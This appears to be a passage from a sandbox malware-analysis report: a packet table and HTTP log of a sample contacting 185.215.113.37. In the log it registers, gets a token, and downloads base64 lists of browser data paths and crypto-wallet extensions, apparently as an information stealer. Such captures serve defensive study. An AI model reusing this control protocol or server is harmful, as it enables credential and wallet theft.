Oct 7, 2024 18:03:27.669548988 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.669579983 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.669744015 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.669755936 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.669766903 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.669778109 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.669791937 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.669810057 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.669996023 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.670007944 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.670018911 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.670037985 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.670058012 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.670164108 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.670175076 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.670185089 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.670195103 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.670205116 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.670206070 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.670217037 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.670222044 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.670228958 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.670239925 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.670268059 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.670681953 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.670691967 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.670701981 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.670712948 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.670722961 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.670727015 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.670733929 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.670743942 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.670744896 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.670758009 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.670763016 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.670767069 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.670778990 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.670779943 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.670789957 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.670803070 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.670810938 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.670849085 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.671427011 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.671437025 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.671447039 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.671458960 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.671468019 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.671471119 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.671478987 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.671489954 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.671490908 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.671504021 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.671509027 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.671514988 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.671525955 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.671525955 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.671539068 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.671555996 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.671581984 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.794502974 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.794550896 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.794610023 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.794642925 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.794661045 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.794677019 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.794692993 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.794692993 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.794711113 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.794728994 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.794759035 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.794761896 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.794796944 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.794828892 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.794836998 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.794861078 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.794867039 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.794891119 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.794898033 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.794924021 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.794955969 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.794962883 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.794990063 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.795023918 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.795031071 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.795061111 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.795223951 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.795258045 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.795289040 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.795296907 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.795320988 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.795320988 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.795352936 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.795399904 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.795407057 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.795444965 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.795449018 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.795480967 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.795481920 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.795514107 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.795736074 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.795768023 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.795778990 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.795799971 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.795805931 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.795833111 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.795849085 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.795865059 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.795870066 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.795897961 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.795931101 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.795938015 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.795963049 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.795967102 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.795996904 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.795999050 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.796030998 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.796034098 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.796070099 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.796281099 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.796314001 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.796344995 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.796371937 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:28.392079115 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:28.392102003 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:28.396905899 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:28.397075891 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:29.272917032 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:29.273000002 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:29.329715967 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:29.334825039 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:29.547866106 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:29.547916889 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:29.547969103 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:29.547979116 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:29.548000097 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:29.548017979 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:29.551943064 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:29.557060957 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:29.769761086 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:29.769825935 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:29.781989098 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:29.787369967 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:30.484513998 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:30.484575033 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:30.511317015 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:30.516398907 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:30.736779928 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:30.736794949 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:30.736805916 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:30.736815929 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:30.736826897 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:30.736839056 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:30.736850977 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:30.736886978 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:30.736886978 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:30.737055063 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:30.737867117 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:30.737925053 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:30.737935066 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:30.737958908 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:30.737958908 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:30.738749027 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:30.781047106 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:30.785993099 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:31.511869907 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:31.511930943 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:36.514570951 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:36.514636993 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:38.931652069 CEST	49711	80	192.168.2.12	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.12	49711	185.215.113.37	80	6424	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 18:03:10.584438086 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 18:03:11.261858940 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:03:11 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 18:03:11.265957117 CEST	411	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCBFIEHIEGCAAAKKKKE Host: 185.215.113.37 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 43 42 46 49 45 48 49 45 47 43 41 41 41 4b 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 44 35 38 45 31 33 44 30 46 34 45 37 35 38 38 30 39 30 31 34 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 46 49 45 48 49 45 47 43 41 41 41 4b 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 46 49 45 48 49 45 47 43 41 41 41 4b 4b 4b 4b 45 2d 2d 0d 0a Data Ascii: ------EGCBFIEHIEGCAAAKKKKEContent-Disposition: form-data; name="hwid"1D58E13D0F4E758809014------EGCBFIEHIEGCAAAKKKKEContent-Disposition: form-data; name="build"doma------EGCBFIEHIEGCAAAKKKKE--
Oct 7, 2024 18:03:11.503696918 CEST	407	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:03:11 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 7a 45 33 4e 6a 42 6c 4d 47 52 68 4d 32 52 68 4e 44 68 69 4d 54 45 7a 59 7a 46 69 4d 7a 5a 68 4d 44 63 31 5a 6a 59 77 4e 6d 45 78 4d 57 4d 35 4f 54 49 32 59 6a 59 34 5a 6d 4a 68 59 6d 4d 30 59 6a 56 69 4e 54 4d 31 4e 54 4e 6d 4e 54 4d 31 4d 32 56 6a 4e 44 4e 6d 59 7a 6c 69 4d 57 4d 33 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NzE3NjBlMGRhM2RhNDhiMTEzYzFiMzZhMDc1ZjYwNmExMWM5OTI2YjY4ZmJhYmM0YjViNTM1NTNmNTM1M2VjNDNmYzliMWM3fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 7, 2024 18:03:11.505079031 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAFHIJDHDGDBFHIEHDGI Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 46 48 49 4a 44 48 44 47 44 42 46 48 49 45 48 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 31 37 36 30 65 30 64 61 33 64 61 34 38 62 31 31 33 63 31 62 33 36 61 30 37 35 66 36 30 36 61 31 31 63 39 39 32 36 62 36 38 66 62 61 62 63 34 62 35 62 35 33 35 35 33 66 35 33 35 33 65 63 34 33 66 63 39 62 31 63 37 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 48 49 4a 44 48 44 47 44 42 46 48 49 45 48 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 48 49 4a 44 48 44 47 44 42 46 48 49 45 48 44 47 49 2d 2d 0d 0a Data Ascii: ------CAFHIJDHDGDBFHIEHDGIContent-Disposition: form-data; name="token"71760e0da3da48b113c1b36a075f606a11c9926b68fbabc4b5b53553f5353ec43fc9b1c7------CAFHIJDHDGDBFHIEHDGIContent-Disposition: form-data; name="message"browsers------CAFHIJDHDGDBFHIEHDGI--
Oct 7, 2024 18:03:11.722426891 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:03:11 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 7, 2024 18:03:11.722445965 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 7, 2024 18:03:11.725891113 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIIEBAAFBFBAKFIDBAFH Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 49 45 42 41 41 46 42 46 42 41 4b 46 49 44 42 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 31 37 36 30 65 30 64 61 33 64 61 34 38 62 31 31 33 63 31 62 33 36 61 30 37 35 66 36 30 36 61 31 31 63 39 39 32 36 62 36 38 66 62 61 62 63 34 62 35 62 35 33 35 35 33 66 35 33 35 33 65 63 34 33 66 63 39 62 31 63 37 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 42 41 41 46 42 46 42 41 4b 46 49 44 42 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 42 41 41 46 42 46 42 41 4b 46 49 44 42 41 46 48 2d 2d 0d 0a Data Ascii: ------IIIEBAAFBFBAKFIDBAFHContent-Disposition: form-data; name="token"71760e0da3da48b113c1b36a075f606a11c9926b68fbabc4b5b53553f5353ec43fc9b1c7------IIIEBAAFBFBAKFIDBAFHContent-Disposition: form-data; name="message"plugins------IIIEBAAFBFBAKFIDBAFH--
Oct 7, 2024 18:03:11.943500042 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:03:11 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: 